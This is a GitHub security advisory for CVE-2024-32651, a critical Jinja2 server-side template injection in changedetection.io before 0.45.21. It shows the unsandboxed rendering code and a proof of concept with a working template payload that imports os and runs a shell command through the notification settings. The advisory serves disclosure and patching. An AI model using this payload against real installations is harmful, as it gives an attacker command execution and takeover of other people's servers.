GitHub Advisoryadvisory · PyPI
GHSA-4r7v-whpg-8rx3 changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution
CRITICAL
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- Aliases
- CVE-2024-32651
- Ecosystem
- PyPI
- Packages
- changedetection.io
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-1336
- Reviewed
- 2024-10-15
Affected packages
• PyPI changedetection.io: < 0.45.21 → fixed in 0.45.21
Description
Summary
A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.
Details
changedetection.io version: 0.45.20
```
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
dgtlmoon/changedetection.io latest 53529c2e69f1 44 hours ago 423MB
```
The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.
```python
from jinja2 import Environment, BaseLoader
...
# Get the notification body from datastore
jinja2_env = Environment(loader=BaseLoader)
n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(notification_parameters)
n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(notification_parameters)
```
PoC
1. Create/Edit a URL watch item
2. Under *Notifications* tab insert this payload:
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
3. See Telegram (or other supported messaging app) notification
Impact
In the PoC I've used `id` as payload and Telegram to read the result.
Attackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell).
The impact is critical as the attacker can completely takeover the server host.
This can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced).
References
• https://www.hacktivesecurity.com/blog/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/
• https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
• https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
• https://docs.cobalt.io/bestpractices/prevent-ssti/
Credits
Edoardo Ottavianelli
Related
Alias · CVE (1)
- CVE-2024-32651 changedetection.io is an open source web page change detection, website watcher, restock monitor and notification service. vulnerability
Weakness · CWE (1)
- CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine weakness
References
- https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4r7v-whpg-8rx3 web
- https://nvd.nist.gov/vuln/detail/CVE-2024-32651 advisory
- https://blog.hacktivesecurity.com/index.php/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io web
- https://github.com/dgtlmoon/changedetection.io package
- https://github.com/dgtlmoon/changedetection.io/releases/tag/0.45.21 web
- https://github.com/pypa/advisory-database/tree/main/vulns/changedetection-io/PYSEC-2026-310.yaml web
- https://pypi.org/project/changedetection-io web
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2 web